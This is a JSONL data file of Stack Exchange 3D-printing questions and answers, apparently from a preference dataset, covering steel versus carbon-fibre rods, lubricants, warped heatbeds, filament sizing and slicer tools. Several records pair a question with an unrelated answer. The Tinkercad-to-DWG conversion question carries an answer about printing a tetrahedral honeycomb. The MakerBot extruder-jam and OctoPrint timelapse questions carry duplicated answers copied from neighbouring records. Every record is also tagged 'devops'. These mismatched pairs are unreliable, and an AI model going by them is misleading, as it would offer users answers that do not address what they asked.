{"id": "hf_d7a049089c9c", "question": "<p>I have a long 8&nbsp;mm smooth steel rod of about 55&nbsp;cm long. This rods bend easily due to the length. If I replace them with 8mm solid carbon fiber rods, will the bending reduce? Will the bearings wear off the carbon fiber rod? I couldn't find too much information about this.</p>\n", "question_body": "", "answer": "Steel is the best material for a linear rod when you have a fixed cross-section. It will have the least flex of any rod (aside from some exotic metals) of the same size.\nCarbon fiber's material properties might seem superior at first sight, but the stiffness is very anisotropic -- it's very stiff along the grain and not very stiff across the grain. So multi-axis stresses like bending aren't necessarily going to perform up to the theoretical specs. Carbon fiber has exceptional stiffness-to-weight ratio, but the stiffness-per-area isn't necessarily superior in this application.\nPeople do occasionally use carbon fiber for linear rods/rails, but only in much larger sizes than 8 mm. Think >25 mm.\nAnd that's really the problem here. 8 mm diameter at 550 mm long is well outside what's reasonable for bending stiffness. Bending deflection increases with the CUBE of length, and this is simply far too long for the size of rod. The general rule of thumb for precision motion applications is length < 25*diameter. That's a conservative rule, but it's the right ballpark. You really shouldn't be going over 200-250 mm or so with an 8 mm rod.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:44.903808"}
{"id": "hf_e7a613314248", "question": "<p>My printer will feature LM8UU bearings/threaded rods for the z-axis and bronze sinter bushings on the x- and y-Axis.</p>\n\n<p>As also, but not only, written here <a href=\"http://reprap.org/wiki/Lubrication\" rel=\"nofollow\">http://reprap.org/wiki/Lubrication</a>, I know that one should:<br>\n - use machine oil for sinter bearings, if anything at all,<br>\n - grease on the 'more fluid' side for the linear bearings so that the lubricant stays eqally with balls on the upper and lower side<br>\n - and probably PTFE grease for the threaded rods (as for example provided by the Ultimaker UM2)</p>\n\n<p>Is there a way to unify this or at least only use two lubricants?<br>\nI do not have the slightest idea about lubricants, I would not know what to actually buy if the combination would e.g. be machine oil and low viscosity grease. Do you have specific recommendations of what to avoid?</p>\n", "question_body": "", "answer": "A mid-weight PTFE grease like the popular Superlube will work in all the cases you mention (bearings, screws, and sintered bushings). 3D printer service conditions are quite light-duty as far as lubricants are concerned. You really just need to keep everything a little bit \"wet\" with oil or grease and performance will be adequate.\nThe main downside to using grease with sintered bushings is that they will likely stop being \"self-lubricating\" after the first exposure. The grease tends to clog the pores that allow the sintered bushings' factory oil impregnation to maintain a nice oil film on the sliding surfaces. So the bushings will forever-after require regular re-greasing, just like the ball bearings and threaded rod.\nIn comparison, a light machine oil like 3-in-one will maintain the sintered bushings' self-lubricating properties, but if used in ball bearings and screws will require very frequent replenishment. And that is certainly an option -- oil DOES work on bearings and screws -- but odds are good that you'll eventually over-oil the bearings, get drips on the build plate, and bang your head against a wall trying to figure out why your prints won't stick all of a sudden. Grease doesn't need to be applied as often, and it tends to stay where you put it rather than dripping. So grease is generally preferred to oil if you have to pick just one lubricant.\nAgain, the most important thing is to keep sliding and rolling surfaces wet with\nsomething\n. You'll just have various maintenance trade-offs with different options.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:44.928285"}
{"id": "hf_34d259cdfeec", "question": "<p>I began printing the parts for the Ultrascope DIY telescope designed by the Open Space Agency.  See <a href=\"http://www.openspaceagency.com/ultrascope\" rel=\"noreferrer\">http://www.openspaceagency.com/ultrascope</a>.</p>\n\n<p>All of the STL files for the 3D printable parts are canted 45 degrees.  Brackets, tubes, everything I have seen so far.  Is there a reason for this?  I printed one part last night and simply rotated the part so it would lay flat because I didn't want to deal with supports.  I am relatively new to 3D printing -- Am I missing something I should know?  Is this a thing?</p>\n", "question_body": "", "answer": "The orientation of the part in the STL file depends on the Software that creates the file. I had a software that would export the parts standing upright instead of laying flat. Depending on the CAD software it can be beneficial for the creator of the model to create in in a different orientation as the one you want to use for printing. Also not all CAD Engineers know (or care) about the best orientation for printing a part.\nSo my guess is that this is an issue of file export/ STL file creation.\nIt is totally normal to rotate the parts into a position that is best for printing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:44.952560"}
{"id": "hf_e45cefe9a045", "question": "<p>I can download a file from Tinkercad as any of these:</p>\n\n<pre><code>.STL\n.OBJ\n.X3D\n.VRML\n</code></pre>\n\n<p>Is there a way to convert any of those file types to .DWG?</p>\n", "question_body": "", "answer": "In short, I don't think printing the full tetrahedral honeycomb design is a good approach considering the application of the part. Here are few things to note when attempting to 3D print the tetrahedral honeycomb:\nI wouldn't recommend trying to 3D print this with a an FDM/FFF printer as you will most likely need supports and there would not be enough strength laterally. You may be able to\nprint\nthe design using SLA, but handling would be very difficult before post-processing as the part is very brittle post-print until a heat treat or curing process is done to chemically solidify. The post-process of the SLA could determine how strong the part is (ie. stainless steel powder, infused with bronze in a heat treat process would be good for such a part).\nWhile SLS may be the best method for 3D printing this type of design, for that size part (30x30x10cm) you're looking at an expensive print regardless of whether or not you print it yourself.\nInstead, I would highly recommend finding (or designing your own) a joint connector that would allow you to join wood/plastic dowels in the tetrahedral honeycomb shape. Not only will this be cheaper for you in the long run (easier to replace a few broken segments than an entire 3D printed model), but it could provide more structural strength for something that could potentially get banged around, like a tricopter.\nFor example,\nthis model\non Thingiverse (not my model) shows an example of how you can utilize 3D printing complex or custom joints that allow you to connect dowels in the shape you're looking for. It'd kind of be like building with\nK'Nex\n.\nAs far as designing said joint, you could model a single \"inner\" joint that has 18 connectors (8 on XY plane, 6 on YZ plane, and 4 on XZ plane). Below is a crude example of what I mean drawn in Google SketchUp:", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:45.000497"}
{"id": "hf_618e8ae0dbc6", "question": "<p>I am new to 3D printing and need to know if I use steel in printing, do I get the same strength (compression and shear) as steel profiles manufactured in a factory?</p>\n", "question_body": "", "answer": "A laser sintered part typically uses what could be described as surface bonding, as it does not melt particularly deeply into the powder. It would not have the same strength characteristics as machined steel or otherwise processed metal. A part constructed from 3d printing using feed metal/welding methods would have more strength, but would not necessarily have un-modified steel strength, due to the heat applied during the process.\nUsing a metal which responds to post processing, as in tempering, will likely improve the strength, but I believe that one is unlikely to reach the same values as \"ordinary\" steel. Compression along the lines of the construction layers would be reasonably strong, but forces applied in other directions are likely to match only the characteristics of the bond. The same consideration applies to shear strength.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:45.024444"}
{"id": "hf_a64f578ae8f8", "question": "<p>I've been asked to prepare a 3D model for 3D printing in sandstone. I've been told that it needs to be 3\" tall and the walls have to be at least 2&nbsp;mm thick. It's an absolute pain in the neck having to make sure everything is the right thickness. So, I was wondering, can the whole model just be printed as a solid object, with 100% infill, and does that work for sandstone?</p>\n", "question_body": "", "answer": "Yes, you can just print it solid. However, it might be significantly more expensive to print your object entirely solid. For instance, Shapeways charges \\$0.75 per cm³ of material for their full-color sandstone. A solid cube of 5x5x5 cm would cost \\$96 to print, whereas it would only cost around \\$6 if you printed it hollow with 2mm walls.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:45.048645"}
{"id": "hf_1b3b1f61d4a9", "question": "<p>Is there a way to make all your prints seamless?? I know there was this program that printed a vase constantly changing the z axis making it seamless. Why cant this be done with regular prints?</p>\n", "question_body": "", "answer": "If you ever seen 3d printouts on your own and you did keep it in hand then you probably felt layers. Most printouts contains 3 main \"components\"\nbottom and top component (floor and ceiling)\noutline (perimeters)\ninfill (inside supporting structure)\nIt is almost imposible (and for sure sensless) to create all these components with one continues line as it would be very complex and sophisticated line.\nSecond reason. It would be very often that printer would cross outlines (perimeters) so it would destroy good looking external surface.\nAnd third reason. Objects can have \"islands\". Imagine printed elephant which is standing on 4 legs. How to draw leg leyers with one line if these legs are separated (at the floor level).\nThat's why \"round vase\" is the only option to print seamless. :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:45.072389"}
{"id": "hf_b16424509c2d", "question": "<p>During printing, my printer occasionally makes some mystery moves: it will very slowly move either the X or Y axis all the way to the left/front, before very slowly moving back to its original position and resuming the print as normal. I've checked my G-code files, and the moves are definitely not part of the G-code. What could be causing this?</p>\n\n<p>I'm printing from an SD card on a Cartesian printer.</p>\n", "question_body": "", "answer": "The issue was due to a corrupt SD-card, which was occasionally having some garbage read from it. It turns out that Marlin will try interpret a corrupt move command like\n```\nG0 X1q3.54\n```\nand still read as many numbers as it can. In this example, it would be interpreted as\n```\nG0 X1\n```\nrather than (as might have been intended)\n```\nG0 X103.54\n```\n.\nThis explains my symptoms perfectly:\nX and Y always moved to (approximately) their home positions, but it was always only one of them (it's quite unlikely that both moves are corrupted).\nZ was not affected because Z moves are much rarer in the G-code (only on layer change) and thus it was very unlikely that a Z move would be affected.\nE was not affected since a request to move E to near 0 would be prevented by Marlin's long extrusion prevention.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:45.097210"}
{"id": "hf_7c333e6570d8", "question": "<p>I have a 3D printer that is going crazy with x-axis shift, and I need a tension gauge belt to measure the tension.</p>\n\n<p>I've never used one before, and looking online, I can't tell which one would be the right fit.</p>\n\n<p>Any ideas? What things should I look for?</p>\n", "question_body": "", "answer": "It's extremely unlikely that belt tension is actually your problem. I've never heard of anyone using a gauge to measure their belt tension. Typically you just pull your belt tight by hand so that it produces a low note when plucked. It's far more likely that you're experiencing shifts due to too high or too low stepper current.\nUnless your belt is so loose that it easily skips over the pulley (which should be obvious without using a gauge) or so tight that it completely binds up (it would be impossible to get it that tight without some kind of superhuman force) it's definitely not the problem.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:45.134721"}
{"id": "hf_0b96f771aae6", "question": "<p>I have a really bent heatbed PCB, the middle is elevated about 3 mm with respect to all edges.</p>\n\n<p>I have found this thread <a href=\"http://midibox.org/forums/topic/17599-warped-pcbs/\" rel=\"noreferrer\">Warped PCBs</a>, where a heating method is applied by baking a PCB in the oven, as described here: <a href=\"http://www.circuitrework.com/guides/3-2.shtml\" rel=\"noreferrer\">3.2 Bow and Twist Repair</a>.</p>\n\n<p>Can this help straightening out a Prusa heatbed PCB? If so, can I apply the heat by the heatbed itself, or do I need to utilize an oven? Will the pressure from the strongly clamped glass plate be enough or will the glass break at these temperatures (given that the heatbed can reach them).</p>\n", "question_body": "", "answer": "Baking PCB in an oven is not a good idea, I would say. I know PCBs are resistive to the heat (especially heatbeds) but, still, it sounds odd. But the real question is how baking would help. Let's leave it.\nIf your heatbed is such bent you can do few things depending on your situation/environment.\nYou can:\nAdd two glass plates (at the bottom and at the top) and clip them all together;\nSupport your HB with flat aluminium or even wood;\nAdd an aluminium frame, or;\nIf you use glass plate, clip the HB to the glass using stronger (wider) clips.\nAd#1 the thermistor can even stay sandwiched between the PCB and the bottom glass plate.\nAd#2 If your HB is bent up in the middle, you can use the middle thermistor hole. Drill it a bit with fi8mm drill (but not too much, I would say halfway through) and use a cone head screw to screw it flat on to the aluminium/wood support. Of course you will have to install a thermistor into the new place.\nThe simplest, and less destructive, solution is #1 and I would recommend that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:45.170775"}
{"id": "hf_786fbdda84b4", "question": "<p><strong>Before you put duplicate from this <a href=\"https://3dprinting.stackexchange.com/questions/147/which-are-the-food-safe-materials-and-how-do-i-recognize-them\">Which are the food-safe materials and how do I recognize them?</a> please read</strong> </p>\n\n<p>I need to know if <a href=\"http://store.printm3d.com/#filaments_head_scroll\" rel=\"nofollow noreferrer\">this 3D Ink™ (PLA Filament) </a>is food safe<a href=\"https://i.stack.imgur.com/lNh2d.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/lNh2d.png\" alt=\"this \"></a></p>\n", "question_body": "", "answer": "In general, PLA is known as a \"food safe\" filament, especially\nNatural PLA\n. However, filament suppliers have different processes that may detriment the food safe quality.\nDoing a little digging, I found\nan article on the M3D site\nwhich mentions the following about their filament\nAll of our products, including our filaments are made from 100% non-toxic components and considered generally safe under normal use. They are not considered a chemical, or a hazardous material by OSHA standards. Therefore, OSHA defines it as an \"article\" and does not require MSDS sheets. You can see more information about that here:\nhttp://www.ilpi.com/msds/faq/partb.html#article\nSo, without contacting M3D directly to acquire an MSDS (or asking if its food safe), you will not find one online.\nHere\nis an article on a few tips for printing food safe objects as well. In a nut shell, don't 3D print food handling objects with crevasses, using uranium, or intend to put in the oven (a.k.a common sense).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:45.195433"}
{"id": "hf_5df52f19377f", "question": "<p>I have a prusa i3 with Mendel firmware and a RAMPS board.  Recently it has been randomly stopping during prints.  The LCD screen will lock up, the print will stop, and the heating elements will turn off.  Pressing the reset button on the RAMPS restarts the system and it works fine.</p>\n\n<p>In addition to stopping during prints, it has also frozen up while just sitting while on.</p>\n\n<p>My first thought is the power supply (12V 30A) is going bad, but is there anything else I should check before I buy a new one and replace it?</p>\n\n<p>Update:</p>\n\n<p>I replaced the power supply with a new one, and the printer did not stop and completed a print.  I am voting to close the question.</p>\n", "question_body": "", "answer": "It could be several things.\nYour ramps board is overheating or has to much load on it. If you're not cooling the ramps board adding a fan may help the issue.\nI know Robo3D had this issue and started shipping with a fan to cool the ramps board.\nThe ramps/arduino board could be faulty, the firmware may have gotten corrupted or the current version has a bug in the code.\nIf you are not printing from the sdcard on the lcd controller and using software through a usb connection, that computer may be causing the issue as well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:45.220481"}
{"id": "hf_edad1f9e8bed", "question": "<p>I made a torus that was 1 on the x and y axes, and 3 on the z axis in Blender. It is supposed to be a bead for a beaded necklace. It was exported to Cura as an .stl, then printed on a Lulzbot Mini. It worked fine in plastic, but when we tried it with bronze filament the nozzle clogged and it didn't start printing.<br>\nIs there something I need to add to the model that will provide instructions for the printer? The person who operates the printer says that most, but not all, of the models he prints in bronze have a border around them when they print, and this one didn't. I don't know if that makes a difference.</p>\n", "question_body": "", "answer": "We print a lot of stuff in a variety of materials, and I think it is likely what you are experiencing is a problem caused by some combination of the following: Object size overall, object detail size, wall thickness, or span width/thickness.\nBlender gives pretty clean stls, but the last-mile needed to get output is primarily a materials engineering problem.... (and saying thias, I am assuming you got a valid stl that the printer was able to read and rip...)\nA first thought: Try loading your stl into one of the services that price online. Shapeways does, and Cubify does or did... and you can download the driver software for the Form2 even if you don't own the printer.\nBring your stl into these apps and look for error messages. The Shapeways ordering app does a nice job of showing issues, particularly ones like wall thickness and manifold faces/vertices (another possibility I did not mention above) very quickly.\nI'd offer to look at your stl if it is something you can share... and/or you can ask your output guy for a sample stl he has printed with some success before. Bring that stl file into Blender beside your model and compare.\nI do not recognize a \"border\" around stls, but all of the printers have preferences for the support sprues that support the model as it is built.... possible that he means these?\nIn any case, shout if I can help. We have used a lot of materials, but some of them take tweaking -- most often with detail size (how small of a detail you can recreate on the rpinted surface) and step size (how small the steps are inbetween printed layers in additive rinting systems.\nOr... just chuck it onto a CNC with a big ole' block of bronze and machine it down!  That's pretty old school, but it works, too... just by removing material rather than adding.\nHere's a torus at Shapeways I uploaded....", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:45.268377"}
{"id": "hf_2e4250a25380", "question": "<p>I just recently purchased a new MightyBoard (Rev G) for my Replicator that requires a new power supply. </p>\n\n<p>The power supply for the Rev E was a 24&nbsp;V/9.2&nbsp;A which was necessary for the dual extruders and heated bed. I know I need a 24&nbsp;V power supply, but should I be concerned about the amperage? What will a higher (or lower) rating affect on my machine?</p>\n", "question_body": "", "answer": "I suggest looking at the maximum amperage draw for all components that could be on at one time, and then find a power supply that can supply at least 20% more current.  You would never want to get a supply rated for lower current than your max draw, because then it will affect the torque or your motors, or the temperature to which your heaters can get.\nThink of it like this: An outlet at home may be rated at 115V/20A.  Your blender is not going to draw the full 20A; having a little extra never hurts.  But if you try to run a large appliance (dryer, hot tub, etc.) on a smaller amp circuit, the breaker would blow because you are trying to draw more than it can supply.\nThe point is, get something rated for higher than you need, within reason.  It will draw only what it needs.\nPro tip:  Make sure to set the current limits on your stepper motor drivers for maximum performance!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:45.304545"}
{"id": "hf_ca4d2c51490a", "question": "<p>Some 3&nbsp;mm filaments seem to actually be 3&nbsp;mm - is there any way to shave off the excess and use it as 2.85&nbsp;mm? </p>\n", "question_body": "", "answer": "I would not recommend you to try and somehow re-size the filament, since even the smallest of irregularities and error in diameter occurring from such a process would ruin your prints with sporadic over and under extrusion. Rather, if you have the tools available, you could grind the filament into pellets, and use a filament extruder to make it anew with your desired diameter.\nAlternatively, depending on your printer setup, you might very well extrude true 3.00 filament with your 2.85 mm filament printer. If you try to do that, make sure to:\nAdjust filament diameter in your slicer\nCheck that your filament isn't getting squashed by the extruder wheel\nCheck that all mechanical parts actually can pass through your filament freely\nI do not own a 2.85 mm printer myself, and therefore have not tried this procedure. There are, however,\nseveral people\nwho seem to have done this successfully.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:45.328430"}
{"id": "hf_cefab1253141", "question": "<p>I was working on my printer when something metallic came into contact with the pcb. I smelled smoke and quickly unplugged the printer. Anyway, this is the result and, of course, the heat bed won't heat. </p>\n\n<p>Can this be salvaged or should I toss it and buy a new one? </p>\n\n<p><a href=\"https://i.stack.imgur.com/WhRPu.jpg\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/WhRPu.jpg\" alt=\"shorted\"></a></p>\n\n<p><strong>update</strong> the heat bed was not hot at the time. I had the heat bed unscrewed from the chassis but had forgotten to unplug the printer. I am not exactly sure how it shorted but I think it shorted between the power lead connection and the thermistor. </p>\n", "question_body": "", "answer": "What happend was short circuit of course. There is no doubt you overheated HB so copper detached from HB base plate. Because you wrote it doesn't work it means copper tracks are broken.\nThere is very low chance to fix it. I mean it - near to zero.\nWhat you could do is:\nDetach HB from arduino\nFind a place where track is broken (which needs to uncover it from protective layer)\nConnect it with a wire\nUnfortunately even if you do it and your HB will work (electrically) your fixed HB which won't be flat anymore.\nSo definitely it's to be thrown away.\n[edit]\nI just realised you have double power HB, which means your HB has 2 heaters... which gives a bit hope.\ntake a look here\nhere is schematics\nwhich could give you an idea\nYou could check if your second heater works ok\nIf yes then you are salvaged! :)\n[edit2]\nI really suppose the schematics of HB is more or less like this\nSo if H1 is broken there is a chance to use H2 connecting pins respectively", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:45.352286"}
{"id": "hf_f09c3e24d780", "question": "<p>Since I'm running a 3D printing facility of an engineering school, students are always wondering how much infill percentage affects the stiffness of the part. I know that it is impossible to get a numerical solution for this question, but maybe there is an option to simulate in software an already sliced model. I haven't seen in any slicer an option to export as .stl or .step or any other format which can be accepted by simulation software. Has anyone seen or thought about something similar? </p>\n", "question_body": "", "answer": "I don't believe that slicing engines create any sort of solid model that would be useful for CAD simulation. When a slicing engine slices a 3D model, it's goal is to spit out the preferred machine paths in G-Code (of some kind). However, I've read a few articles, done some tests, and heard through the grape vine that anywhere between 10%-35% is good enough for most applications. I once watched a webinar for understanding the new MakerWare interface that explained how they chose such settings. Although I can't find the clip directly,\nhere\nis the page for all of MakerBot's webinars. I think\nthis\nwebinar was the one I watched explaining a little bit about preferred infill percentages.\nFrom experience, anything over 35% doesn't yield much more strength from infill side of things. Beyond 35% and you're going to want to reconsider how you're orienting the print when you print it and what you're printing to utilize the grain structure for proper strength.\nHowever, infill percentage/patterns are not the only variable for creating strong parts. Infill is really just a way to save time and material. Here are some other ways to potentially increase strength:\nIncrease your shell. Shell is the number of profile patterns per layer. Typically (in FDM/FFF), each shell is\nabout\nthe diameter of your extruder nozzle.\nIncrease your floor/roof. Similar to shell, floor/roof refers to the number of layers that make up the \"bottom\" and \"top\" of the part with regard to the build plate.\nPrint orientation. Pay attention to which areas of the part are susceptible to strain along the \"grain\" of the layers. Try to rotate your part on the build plate in a way that minimizes potential failure both in print and post-print use.\nPost process. Don't be afraid to do some post-processing to increase the strength. There are\nsome 3D printers on the market\nthat go as far as including Kevlar strands in the printing process to beef up their prints. However, it may be as simple as just coating the part in an epoxy with some basic finishing techniques. It's a bit more work, but it turns weak 3D printed parts into full production quality prints.\nUpdate:\nBased on some of the comments, it sounds like your best bet might be to find a custom application that can either convert the g-code file into a solid model (try CAM software?), or create a plugin for your CAD software (I know Unigraphics NX and Solidworks allow for this) and essentially recreate your own slicing engine that takes your solid model and generates the same infill pattern dynamically inside.\nPerhaps look into the works of\nSimlab\nor similar which has a lot of 3D software plugins. I'm not promoting them and I don't work for them, this is just a reference of what to look for.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:45.389512"}
{"id": "hf_7ebfa13c4103", "question": "<p>Is there any type of software in which you can animate the way the .stl object will be printed? </p>\n\n<p>I'm not talking about what the end result looks like. I'm talking about a tool which acts like it's printing the given object as an animation.</p>\n\n<p>I know it somehow depends on your printer but is there anything I can use?</p>\n", "question_body": "", "answer": "You may wish to consider\nCraftware\nfor your purposes. It's a free program in beta form that does provide a tool-path animation for printing the layers. It is not so much specific to a printer as it is configurable for your own requirements.\nThe video\nshows what I believe you are seeking at about the two minute point.\nSimplify3D also provides such information, but is not a free program.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:45.441948"}
{"id": "hf_a81e55b01007", "question": "<p>My MakerBot 2 jams after a couple hours of prints. It is a couple months old, and the tip stops extruding after a couple straight hours of prints. I am guessing that there is a design flaw and that the media is melting inside the extruder before the feeding teeth. Does anyone have experience with this?</p>\n", "question_body": "", "answer": "You may wish to consider\nCraftware\nfor your purposes. It's a free program in beta form that does provide a tool-path animation for printing the layers. It is not so much specific to a printer as it is configurable for your own requirements.\nThe video\nshows what I believe you are seeking at about the two minute point.\nSimplify3D also provides such information, but is not a free program.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:45.466409"}
{"id": "hf_b109ebcb3d66", "question": "<p>I've been interested in 3D printing for the past month however, I have noticed that it's sort of a \"reserved\" topic. Meaning that everyone who talks about it, has already some basic knowledge about the topic. What are some good resources for someone who wants to start learning from zero? My main goal is to acquire enough knowledge in order to build my own 3D printer.</p>\n", "question_body": "", "answer": "The resources you have at your fingertips are going to be more up-to-date than anything you'll find in a paper/published book. Use this amazing thing called the internet and read everything you can find. Use Google or your favorite search engine using appropriate terms. I'd suggest, based on your overly broad question, that you use \"build your own 3d printer\" as a starting point.\nYou'll find that\nInstructables\nis one useful resource as well as\nMakerShed\nfor additional material. You will find a very large source of helpful information at\n3dprintboard.com\nsimply by reading others' posts there and at other forums as well.\nThere is quite a bit to absorb and understand but with the internet at your fingertips, you won't be lacking for information.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:45.490472"}
{"id": "hf_0d09f787be9a", "question": "<p>I'm trying to squeeze a little better quality out of my time lapses generated by OctoPrint.</p>\n\n<p>I'm using the Raspberry Pi Camera Module V2 with a Pi 3. I've already edited the Octopi config to get 720p resolution, but the encoding during time lapse rendering is horrific. Blocky as hell.</p>\n\n<p>Right now the encoding is set up at 5000k.\nWhat am I doing wrong here?</p>\n", "question_body": "", "answer": "The resources you have at your fingertips are going to be more up-to-date than anything you'll find in a paper/published book. Use this amazing thing called the internet and read everything you can find. Use Google or your favorite search engine using appropriate terms. I'd suggest, based on your overly broad question, that you use \"build your own 3d printer\" as a starting point.\nYou'll find that\nInstructables\nis one useful resource as well as\nMakerShed\nfor additional material. You will find a very large source of helpful information at\n3dprintboard.com\nsimply by reading others' posts there and at other forums as well.\nThere is quite a bit to absorb and understand but with the internet at your fingertips, you won't be lacking for information.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:45.520432"}
{"id": "hf_9266cb048a5d", "question": "<p>I've printed mostly ABS in the past and encountered <a href=\"https://www.google.com/#q=3d+printing+layer+delamination\">delamination</a> between layers many times. I've ensured the following conditions regularly:</p>\n\n<ul>\n<li>Build plate is level</li>\n<li>Base of print isn't warped (using ABS slurry)</li>\n<li>Prevent air draft. I've added acrylic panels to the sides of the machine and the machine is in a custom cupboard.</li>\n<li>Nozzle temperature at about 225C</li>\n<li>HBP temperature at about 112C (I live in NW USA, so the ambient temperature is typically fairly cool).</li>\n<li>Using MakerBot filament</li>\n</ul>\n\n<p>What are some other variables to consider to help prevent delamination between layers?</p>\n", "question_body": "", "answer": "I know some could not fit your question but maybe someone will look for all possibilities.\nDelamination can be caused by:\nfilament\nhumidity\ndiameter\nextruder\npressure (holdfast) - soft filament can be crumpled caused by extensive retraction)\ndirty jagger teeth (knurls)\nthermistor/wire failure - when it reports temp under ie 170C then extruder doesn't extrude\ncaret floatage (extruder motor cannot pull filament so it climbs)\ngeneral\nprinting speed\ntemperature issue", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:45.544800"}
{"id": "hf_db462f996044", "question": "<p>I have a RepRap Prusa i2. I have done the majority of my printing with clear PLA that I got on the cheap from eBay. It works just fine.</p>\n\n<p>I bought a roll of Hatchbox Silver PLA (1.75&nbsp;mm) from Amazon. I have never had a print go well with it. I have tried various combinations of hotter and cooler extruder and bed (180 - 220°C extruder, 50 - 78°C bed). Prints always either curl up from the bed after 5-20 layers are deposited or delaminate in the middle of the print. I print directly on the heated glass bed, and have also tried various cooling fan settings.</p>\n\n<p>Does anyone have good settings (Slic3r) to use with this stuff? Or any other advice for getting a successful print?</p>\n", "question_body": "", "answer": "I've been using Hatchbox 1.75 mm (but white), and settled on 190°C extruder temp, and 60°C bed. I've had trouble getting some prints to adhere to the bed, but most have been ok; I don't see a clear pattern. I don't know whether it's the fiber or my settings. I'm trying slightly higher temperatures, higher extrusion rates, and other filament brands to see if those help. Will post back if anything clear shows up...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:45.598415"}
